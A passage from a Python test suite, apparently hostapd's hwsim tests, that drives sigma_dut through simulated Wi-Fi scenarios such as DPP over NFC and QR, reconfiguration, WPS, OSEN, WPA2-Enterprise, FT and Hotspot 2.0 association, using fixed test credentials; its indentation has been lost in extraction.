hapd = start_dpp_ap(apdev[0])
sigma = start_sigma_dut(dev[0].ifname)
try:
dev[0].set("dpp_config_processing", "2")
cmd = "DPP_CONFIGURATOR_ADD key=" + csign
res = dev[1].request(cmd)
if "FAIL" in res:
raise Exception("Failed to add configurator")
conf_id = int(res)
dev[1].set("dpp_configurator_params",
" conf=sta-dpp ssid=%s configurator=%d" % (to_hex("DPPNET01"), conf_id))
id_own = dev[1].dpp_bootstrap_gen(type="nfc-uri", chan="81/1,6,11",
mac=True)
uri_own = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id_own)
res = sigma_dut_cmd_check("dev_exec_action,program,DPP,DPPActionType,GetLocalBootstrap,DPPBS,NFC")
hex = res.split(',')[3]
uri_peer = from_hex(hex)
logger.info("URI from sigma_dut: " + uri_peer)
sigma_dut_cmd_check("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,NFC" % to_hex(uri_own))
res = dev[1].request("DPP_NFC_HANDOVER_REQ own=%d uri=%s" % (id_own,
uri_peer))
if "FAIL" in res:
raise Exception("Failed to process NFC Handover Request")
info = dev[1].request("DPP_BOOTSTRAP_INFO %d" % id_own)
logger.info("Updated local bootstrapping info:\n" + info)
freq = None
for line in info.splitlines():
if line.startswith("use_freq="):
freq = int(line.split('=')[1])
if freq is None:
raise Exception("Selected channel not indicated")
uri1 = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id_own)
logger.info("Updated URI[1]: " + uri1)
dev[1].dpp_listen(freq, role="configurator")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPProvisioningRole,Enrollee,DPPBS,NFC,DPPNFCHandover,Negotiated_Requestor,DPPTimeout,6,DPPWaitForConnect,Yes", timeout=10)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK,NetworkIntroResult,OK,NetworkConnectResult,OK" not in res:
raise Exception("Unexpected result: " + res)
finally:
dev[0].set("dpp_config_processing", "0")
stop_sigma_dut(sigma)
def test_sigma_dut_dpp_nfc_handover_selector_enrollee(dev, apdev):
"""sigma_dut DPP/NFC handover selector as Enrollee"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
hapd = start_dpp_ap(apdev[0])
sigma = start_sigma_dut(dev[0].ifname)
try:
dev[0].set("dpp_config_processing", "2")
cmd = "DPP_CONFIGURATOR_ADD key=" + csign
res = dev[1].request(cmd)
if "FAIL" in res:
raise Exception("Failed to add configurator")
conf_id = int(res)
dev[1].set("dpp_configurator_params",
" conf=sta-dpp ssid=%s configurator=%d" % (to_hex("DPPNET01"), conf_id))
id_own = dev[1].dpp_bootstrap_gen(type="nfc-uri", chan="81/1,6,11",
mac=True)
uri_own = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id_own)
res = sigma_dut_cmd_check("dev_exec_action,program,DPP,DPPActionType,GetLocalBootstrap,DPPBS,NFC")
hex = res.split(',')[3]
uri_peer = from_hex(hex)
logger.info("URI from sigma_dut: " + uri_peer)
sigma_dut_cmd_check("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,NFC" % to_hex(uri_own))
res = dev[1].request("DPP_NFC_HANDOVER_SEL own=%d uri=%s" % (id_own,
uri_peer))
if "FAIL" in res:
raise Exception("Failed to process NFC Handover Select")
peer = int(res)
dev[1].dpp_auth_init(peer=peer, own=id_own, configurator=conf_id,
conf="sta-dpp", ssid="DPPNET01")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPProvisioningRole,Enrollee,DPPBS,NFC,DPPNFCHandover,Negotiated_Selector,DPPTimeout,6,DPPWaitForConnect,Yes", timeout=10)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK,NetworkIntroResult,OK,NetworkConnectResult,OK" not in res:
raise Exception("Unexpected result: " + res)
finally:
dev[0].set("dpp_config_processing", "0")
stop_sigma_dut(sigma)
def test_sigma_dut_dpp_nfc_static_read_enrollee(dev, apdev):
"""sigma_dut DPP/NFC read tag as Enrollee"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
hapd = start_dpp_ap(apdev[0])
sigma = start_sigma_dut(dev[0].ifname)
try:
dev[0].set("dpp_config_processing", "2")
cmd = "DPP_CONFIGURATOR_ADD key=" + csign
res = dev[1].request(cmd)
if "FAIL" in res:
raise Exception("Failed to add configurator")
conf_id = int(res)
dev[1].set("dpp_configurator_params",
" conf=sta-dpp ssid=%s configurator=%d" % (to_hex("DPPNET01"), conf_id))
id_own = dev[1].dpp_bootstrap_gen(type="nfc-uri", chan="81/6", mac=True)
uri_own = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id_own)
sigma_dut_cmd_check("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,NFC" % to_hex(uri_own))
dev[1].dpp_listen(2437, role="configurator")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPProvisioningRole,Enrollee,DPPBS,NFC,DPPNFCHandover,Static,DPPTimeout,6,DPPWaitForConnect,Yes", timeout=10)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK,NetworkIntroResult,OK,NetworkConnectResult,OK" not in res:
raise Exception("Unexpected result: " + res)
finally:
dev[0].set("dpp_config_processing", "0")
stop_sigma_dut(sigma)
def test_sigma_dut_dpp_nfc_static_write_enrollee(dev, apdev):
"""sigma_dut DPP/NFC write tag as Enrollee"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
hapd = start_dpp_ap(apdev[0])
sigma = start_sigma_dut(dev[0].ifname)
try:
dev[0].set("dpp_config_processing", "2")
cmd = "DPP_CONFIGURATOR_ADD key=" + csign
res = dev[1].request(cmd)
if "FAIL" in res:
raise Exception("Failed to add configurator")
conf_id = int(res)
dev[1].set("dpp_configurator_params",
" conf=sta-dpp ssid=%s configurator=%d" % (to_hex("DPPNET01"), conf_id))
res = sigma_dut_cmd_check("dev_exec_action,program,DPP,DPPActionType,GetLocalBootstrap,DPPBS,NFC")
hex = res.split(',')[3]
uri_peer = from_hex(hex)
logger.info("URI from sigma_dut: " + uri_peer)
dev[1].dpp_auth_init(nfc_uri=uri_peer, configurator=conf_id,
conf="sta-dpp", ssid="DPPNET01")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Responder,DPPProvisioningRole,Enrollee,DPPBS,NFC,DPPNFCHandover,Static,DPPTimeout,6,DPPWaitForConnect,Yes", timeout=10)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK,NetworkIntroResult,OK,NetworkConnectResult,OK" not in res:
raise Exception("Unexpected result: " + res)
finally:
dev[0].set("dpp_config_processing", "0")
stop_sigma_dut(sigma)
def test_sigma_dut_dpp_reconfig_enrollee(dev, apdev):
"""sigma_dut DPP reconfiguration (Enrollee)"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
hapd = start_dpp_ap(apdev[0])
sigma = start_sigma_dut(dev[0].ifname)
try:
cmd = "DPP_CONFIGURATOR_ADD key=" + csign
res = dev[1].request(cmd)
if "FAIL" in res:
raise Exception("Failed to add configurator")
conf_id = int(res)
id0 = dev[1].dpp_bootstrap_gen(chan="81/6", mac=True)
uri0 = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id0)
dev[1].set("dpp_configurator_params",
" conf=sta-dpp ssid=%s configurator=%d" % (to_hex("DPPNET01"), conf_id))
cmd = "DPP_LISTEN 2437 role=configurator"
if "OK" not in dev[1].request(cmd):
raise Exception("Failed to start listen operation")
ifname = dev[0].ifname
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,DPP" % ifname)
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri0))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPAuthDirection,Single,DPPProvisioningRole,Enrollee,DPPBS,QR,DPPTimeout,6,DPPWaitForConnect,Yes", timeout=10)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK,NetworkIntroResult,OK,NetworkConnectResult,OK" not in res:
raise Exception("Unexpected result: " + res)
hapd.disable()
dev[0].dump_monitor()
ssid = "reconfig"
passphrase = "secret passphrase"
params = hostapd.wpa2_params(ssid=ssid, passphrase=passphrase)
hapd = hostapd.add_ap(apdev[0], params)
dev[1].set("dpp_configurator_params",
"conf=sta-psk ssid=%s pass=%s conn_status=1" % (binascii.hexlify(ssid.encode()).decode(), binascii.hexlify(passphrase.encode()).decode()))
cmd = "DPP_LISTEN 2437 role=configurator"
if "OK" not in dev[1].request(cmd):
raise Exception("Failed to start listen operation")
dev[1].dump_monitor()
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,DPPReconfigure,DPPTimeout,6,DPPWaitForConnect,Yes", timeout=10)
if "status,COMPLETE,ReconfigAuthResult,OK,ConfResult,OK,NetworkConnectResult,OK" not in res:
raise Exception("Unexpected reconfiguration result: " + res)
ev = dev[1].wait_event(["DPP-CONF-SENT"], timeout=15)
if ev is None:
raise Exception("DPP Config Response (reconfig) not transmitted")
dev[0].wait_connected(timeout=20)
ev = dev[1].wait_event(["DPP-CONN-STATUS-RESULT"], timeout=20)
if ev is None:
raise Exception("No connection status reported")
if "result=0" not in ev:
raise Exception("Connection status did not report success: " + ev)
time.sleep(1)
cmd = "DPP_LISTEN 2437 role=configurator"
if "OK" not in dev[1].request(cmd):
raise Exception("Failed to start listen operation")
dev[0].dump_monitor()
dev[1].dump_monitor()
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,DPPReconfigure,DPPTimeout,6,DPPWaitForConnect,Yes", timeout=30)
if "status,COMPLETE,ReconfigAuthResult,OK,ConfResult,OK,NetworkConnectResult,OK" not in res:
raise Exception("Unexpected reconfiguration [2] result: " + res)
ev = dev[1].wait_event(["DPP-CONF-SENT"], timeout=5)
if ev is None:
raise Exception("DPP Config Response (reconfig) not transmitted [2]")
dev[0].wait_connected(timeout=20)
finally:
dev[0].set("dpp_config_processing", "0")
stop_sigma_dut(sigma)
def test_sigma_dut_dpp_reconfig_configurator(dev, apdev):
"""sigma_dut DPP reconfiguration (Configurator)"""
check_dpp_capab(dev[0])
check_dpp_capab(dev[1])
sigma = start_sigma_dut(dev[0].ifname)
try:
dev[1].set("dpp_config_processing", "1")
id0 = dev[1].dpp_bootstrap_gen(chan="81/6", mac=True)
uri0 = dev[1].request("DPP_BOOTSTRAP_GET_URI %d" % id0)
cmd = "DPP_LISTEN 2437"
if "OK" not in dev[1].request(cmd):
raise Exception("Failed to start listen operation")
ifname = dev[0].ifname
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,DPP" % ifname)
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,SetPeerBootstrap,DPPBootstrappingdata,%s,DPPBS,QR" % to_hex(uri0))
if "status,COMPLETE" not in res:
raise Exception("dev_exec_action did not succeed: " + res)
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,AutomaticDPP,DPPAuthRole,Initiator,DPPAuthDirection,Single,DPPProvisioningRole,Configurator,DPPConfEnrolleeRole,STA,DPPSigningKeyECC,P-256,DPPConfIndex,1,DPPBS,QR,DPPTimeout,6", timeout=10)
if "BootstrapResult,OK,AuthResult,OK,ConfResult,OK" not in res:
raise Exception("Unexpected result: " + res)
dev[0].dump_monitor()
ev = dev[1].wait_event(["DPP-NETWORK-ID"], timeout=1)
if ev is None:
raise Exception("No network profile created")
id = int(ev.split(' ')[1])
ev = dev[1].wait_event(["DPP-TX-STATUS"], timeout=5)
if ev is None:
raise Exception("Configuration Result not sent")
dev[1].dump_monitor()
cmd = "DPP_RECONFIG %d" % id
if "OK" not in dev[1].request(cmd):
raise Exception("Failed to start reconfiguration")
res = sigma_dut_cmd("dev_exec_action,program,DPP,DPPActionType,DPPReconfigure,DPPProvisioningRole,Configurator,DPPConfEnrolleeRole,STA,DPPSigningKeyECC,P-256,DPPConfIndex,2,DPPListenChannel,6,DPPTimeout,6", timeout=10)
if "status,COMPLETE,ReconfigAuthResult,OK,ConfResult,OK" not in res:
raise Exception("Unexpected reconfiguration result: " + res)
ev = dev[1].wait_event(["DPP-CONF-RECEIVED"], timeout=15)
if ev is None:
raise Exception("DPP Config Response (reconfig) not received")
finally:
dev[0].set("dpp_config_processing", "0")
dev[1].set("dpp_config_processing", "0")
stop_sigma_dut(sigma)
@reset_ignore_old_scan_res
def test_sigma_dut_preconfigured_profile(dev, apdev):
"""sigma_dut controlled connection using preconfigured profile"""
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
params = hostapd.wpa2_params(ssid="test-psk", passphrase="12345678")
hapd = hostapd.add_ap(apdev[0], params)
dev[0].connect("test-psk", psk="12345678", scan_freq="2412",
only_add_network=True)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s" % (ifname, "test-psk"),
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_get_ip_config,interface," + ifname)
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
@reset_ignore_old_scan_res
def test_sigma_dut_wps_pbc(dev, apdev):
"""sigma_dut and WPS PBC Enrollee"""
ssid = "test-wps-conf"
hapd = hostapd.add_ap(apdev[0],
{"ssid": "wps", "eap_server": "1", "wps_state": "2",
"wpa_passphrase": "12345678", "wpa": "2",
"wpa_key_mgmt": "WPA-PSK", "rsn_pairwise": "CCMP"})
hapd.request("WPS_PBC")
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
cmd = "start_wps_registration,interface,%s" % ifname
cmd += ",WpsRole,Enrollee"
cmd += ",WpsConfigMethod,PBC"
sigma_dut_cmd_check(cmd, timeout=15)
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
hapd.disable()
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
dev[0].flush_scan_cache()
def test_sigma_dut_sta_scan_bss(dev, apdev):
"""sigma_dut sta_scan_bss"""
hapd = hostapd.add_ap(apdev[0], {"ssid": "test"})
sigma = start_sigma_dut(dev[0].ifname)
try:
cmd = "sta_scan_bss,Interface,%s,BSSID,%s" % (dev[0].ifname, \
hapd.own_addr())
res = sigma_dut_cmd(cmd, timeout=10)
if "ssid,test,bsschannel,1" not in res:
raise Exception("Unexpected result: " + res)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_sta_scan_ssid_bssid(dev, apdev):
"""sigma_dut sta_scan GetParameter,SSID_BSSID"""
hostapd.add_ap(apdev[0], {"ssid": "abcdef"})
hostapd.add_ap(apdev[1], {"ssid": "qwerty"})
sigma = start_sigma_dut(dev[0].ifname)
try:
cmd = "sta_scan,Interface,%s,GetParameter,SSID_BSSID" % dev[0].ifname
res = sigma_dut_cmd(cmd, timeout=10)
if "abcdef" not in res or "qwerty" not in res:
raise Exception("Unexpected result: " + res)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_sta_scan_short_ssid(dev, apdev):
"""sigma_dut sta_scan ShortSSID"""
dev[0].flush_scan_cache()
ssid = "test-short-ssid-list"
hapd = hostapd.add_ap(apdev[0], {"ssid": ssid,
"ignore_broadcast_ssid": "1"})
bssid = apdev[0]['bssid']
payload = struct.pack('>L', binascii.crc32(ssid.encode()))
val = binascii.hexlify(payload).decode()
sigma = start_sigma_dut(dev[0].ifname)
found = False
try:
cmd = "sta_scan,Interface,%s,ChnlFreq,2412,ShortSSID,%s" % (dev[0].ifname, val)
for i in range(10):
sigma_dut_cmd_check(cmd, timeout=5)
ev = dev[0].wait_event(["CTRL-EVENT-SCAN-RESULTS"])
if ev is None:
raise Exception("Scan did not complete")
if bssid in dev[0].request("SCAN_RESULTS"):
found = True
break
finally:
stop_sigma_dut(sigma)
dev[0].request("VENDOR_ELEM_REMOVE 14 *")
if not found:
raise Exception("AP not found in scan results")
def test_sigma_dut_sta_scan_wait_completion(dev, apdev):
"""sigma_dut sta_scan WaitCompletion,1"""
sigma = start_sigma_dut(dev[0].ifname)
try:
cmd = "sta_scan,Interface,%s,ChnlFreq,2412,WaitCompletion,1" % dev[0].ifname
res = sigma_dut_cmd(cmd, timeout=10)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_osen(dev, apdev, params):
"""sigma_dut controlled AP with OSEN"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_osen.sigma-hostapd")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-hs20,MODE,11ng")
sigma_dut_cmd_check("ap_set_radius,NAME,AP,IPADDR,127.0.0.1,PORT,1812,PASSWORD,radius")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,OSEN,PMF,Optional")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
# RSN-OSEN (for OSU)
dev[0].connect("test-hs20", proto="OSEN", key_mgmt="OSEN",
pairwise="CCMP", group="GTK_NOT_USED",
eap="WFA-UNAUTH-TLS", identity="osen@example.com",
ca_cert="auth_serv/ca.pem", scan_freq="2412")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_eap_osen(dev, apdev, params):
"""sigma_dut controlled AP with EAP+OSEN"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_eap_osen.sigma-hostapd")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, bridge="ap-br0", hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-hs20,MODE,11ng")
sigma_dut_cmd_check("ap_set_radius,NAME,AP,IPADDR,127.0.0.1,PORT,1812,PASSWORD,radius")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-ENT-OSEN,PMF,Optional")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
subprocess.call(['brctl', 'setfd', 'ap-br0', '0'])
subprocess.call(['ip', 'link', 'set', 'dev', 'ap-br0', 'up'])
# RSN-OSEN (for OSU)
dev[0].connect("test-hs20", proto="OSEN", key_mgmt="OSEN",
pairwise="CCMP",
eap="WFA-UNAUTH-TLS", identity="osen@example.com",
ca_cert="auth_serv/ca.pem", ieee80211w='2',
scan_freq="2412")
# RSN-EAP (for data connection)
dev[1].connect("test-hs20", key_mgmt="WPA-EAP", eap="TTLS",
identity="hs20-test", password="password",
ca_cert="auth_serv/ca.pem", phase2="auth=MSCHAPV2",
ieee80211w='2', scan_freq="2412")
hwsim_utils.test_connectivity(dev[0], dev[1], broadcast=False,
success_expected=False, timeout=1)
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
subprocess.call(['ip', 'link', 'set', 'dev', 'ap-br0', 'down'],
stderr=open('/dev/null', 'w'))
subprocess.call(['brctl', 'delbr', 'ap-br0'],
stderr=open('/dev/null', 'w'))
def test_sigma_dut_ap_eap(dev, apdev, params):
"""sigma_dut controlled AP WPA2-Enterprise"""
logdir = os.path.join(params['logdir'], "sigma_dut_ap_eap.sigma-hostapd")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-eap,MODE,11ng")
sigma_dut_cmd_check("ap_set_radius,NAME,AP,IPADDR,127.0.0.1,PORT,1812,PASSWORD,radius")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-ENT")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].connect("test-eap", key_mgmt="WPA-EAP", eap="GPSK",
identity="gpsk user",
password="abcdefghijklmnop0123456789abcdef",
scan_freq="2412")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_eap_sha256(dev, apdev, params):
"""sigma_dut controlled AP WPA2-Enterprise SHA256"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_eap_sha256.sigma-hostapd")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-eap,MODE,11ng")
sigma_dut_cmd_check("ap_set_radius,NAME,AP,IPADDR,127.0.0.1,PORT,1812,PASSWORD,radius")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-ENT-256")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].connect("test-eap", key_mgmt="WPA-EAP-SHA256", eap="GPSK",
identity="gpsk user",
password="abcdefghijklmnop0123456789abcdef",
scan_freq="2412")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_ft_eap(dev, apdev, params):
"""sigma_dut controlled AP FT-EAP"""
logdir = os.path.join(params['logdir'], "sigma_dut_ap_ft_eap.sigma-hostapd")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-ft-eap,MODE,11ng,DOMAIN,0101,FT_OA,Enable")
sigma_dut_cmd_check("ap_set_radius,NAME,AP,IPADDR,127.0.0.1,PORT,1812,PASSWORD,radius")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,FT-EAP")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].connect("test-ft-eap", key_mgmt="FT-EAP", eap="GPSK",
identity="gpsk user",
password="abcdefghijklmnop0123456789abcdef",
scan_freq="2412")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_ft_psk(dev, apdev, params):
"""sigma_dut controlled AP FT-PSK"""
logdir = os.path.join(params['logdir'], "sigma_dut_ap_ft_psk.sigma-hostapd")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-ft-psk,MODE,11ng,DOMAIN,0101,FT_OA,Enable")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,FT-PSK,PSK,12345678")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].connect("test-ft-psk", key_mgmt="FT-PSK", psk="12345678",
scan_freq="2412")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_ft_over_ds_psk(dev, apdev, params):
"""sigma_dut controlled AP FT-PSK (over-DS)"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_ft_over_ds_psk.sigma-hostapd")
conffile = os.path.join(params['logdir'],
"sigma_dut_ap_ft_over_ds_psk.sigma-conf")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-ft-psk,MODE,11ng,DOMAIN,0101,FT_DS,Enable")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,FT-PSK,PSK,12345678")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
with open("/tmp/sigma_dut-ap.conf", "rb") as f:
with open(conffile, "wb") as f2:
f2.write(f.read())
dev[0].connect("test-ft-psk", key_mgmt="FT-PSK", psk="12345678",
scan_freq="2412")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_ent_ft_eap(dev, apdev, params):
"""sigma_dut controlled AP WPA-EAP and FT-EAP"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_ent_ft_eap.sigma-hostapd")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-ent-ft-eap,MODE,11ng,DOMAIN,0101,FT_OA,Enable")
sigma_dut_cmd_check("ap_set_radius,NAME,AP,IPADDR,127.0.0.1,PORT,1812,PASSWORD,radius")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-ENT-FT-EAP")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].connect("test-ent-ft-eap", key_mgmt="FT-EAP", eap="GPSK",
identity="gpsk user",
password="abcdefghijklmnop0123456789abcdef",
scan_freq="2412")
dev[1].connect("test-ent-ft-eap", key_mgmt="WPA-EAP", eap="GPSK",
identity="gpsk user",
password="abcdefghijklmnop0123456789abcdef",
scan_freq="2412")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
@reset_ignore_old_scan_res
def test_sigma_dut_venue_url(dev, apdev):
"""sigma_dut controlled Venue URL fetch"""
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
ssid = "venue"
params = hostapd.wpa2_params(ssid=ssid, passphrase="12345678")
params["wpa_key_mgmt"] = "WPA-PSK-SHA256"
params["ieee80211w"] = "2"
venue_group = 1
venue_type = 13
venue_info = struct.pack('BB', venue_group, venue_type)
lang1 = "eng"
name1 = "Example venue"
lang2 = "fin"
name2 = "Esimerkkipaikka"
venue1 = struct.pack('B', len(lang1 + name1)) + lang1.encode() + name1.encode()
venue2 = struct.pack('B', len(lang2 + name2)) + lang2.encode() + name2.encode()
venue_name = binascii.hexlify(venue_info + venue1 + venue2)
url1 = "http://example.com/venue"
url2 = "https://example.org/venue-info/"
params["venue_group"] = str(venue_group)
params["venue_type"] = str(venue_type)
params["venue_name"] = [lang1 + ":" + name1, lang2 + ":" + name2]
params["venue_url"] = ["1:" + url1, "2:" + url2]
hapd = hostapd.add_ap(apdev[0], params)
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,PMF" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_psk,interface,%s,ssid,%s,passphrase,%s,encpType,aes-ccmp,keymgmttype,wpa2,PMF,Required" % (ifname, "venue", "12345678"))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "venue"),
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_get_ip_config,interface," + ifname)
sigma_dut_cmd_check("sta_hs2_venue_info,interface," + ifname + ",Display,Yes")
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_hs20_assoc_24(dev, apdev):
"""sigma_dut controlled Hotspot 2.0 connection (2.4 GHz)"""
run_sigma_dut_hs20_assoc(dev, apdev, True)
def test_sigma_dut_hs20_assoc_5(dev, apdev):
"""sigma_dut controlled Hotspot 2.0 connection (5 GHz)"""
run_sigma_dut_hs20_assoc(dev, apdev, False)
def run_sigma_dut_hs20_assoc(dev, apdev, band24):
hapd0 = None
hapd1 = None
try:
bssid0 = apdev[0]['bssid']
params = hs20_ap_params()
params['hessid'] = bssid0
hapd0 = hostapd.add_ap(apdev[0], params)
bssid1 = apdev[1]['bssid']
params = hs20_ap_params()
params['hessid'] = bssid0
params["hw_mode"] = "a"
params["channel"] = "36"
params["country_code"] = "US"
hapd1 = hostapd.add_ap(apdev[1], params)
band = "2.4" if band24 else "5"
exp_bssid = bssid0 if band24 else bssid1
run_sigma_dut_hs20_assoc_2(dev, apdev, band, exp_bssid)
finally:
dev[0].request("DISCONNECT")
if hapd0:
hapd0.request("DISABLE")
if hapd1:
hapd1.request("DISABLE")
subprocess.call(['iw', 'reg', 'set', '00'])
dev[0].flush_scan_cache()
def run_sigma_dut_hs20_assoc_2(dev, apdev, band, expect_bssid):
check_eap_capa(dev[0], "MSCHAPV2")
dev[0].flush_scan_cache()
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,HS2-R3" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_add_credential,interface,%s,type,uname_pwd,realm,example.com,username,hs20-test,password,password" % ifname)
res = sigma_dut_cmd_check("sta_hs2_associate,interface,%s,band,%s" % (ifname, band),
timeout=15)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_get_ip_config,interface," + ifname)
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
if "BSSID," + expect_bssid not in res:
raise Exception("Unexpected BSSID: " + res)
def test_sigma_dut_ap_hs20(dev, apdev, params):
"""sigma_dut controlled AP with Hotspot 2.0 parameters"""
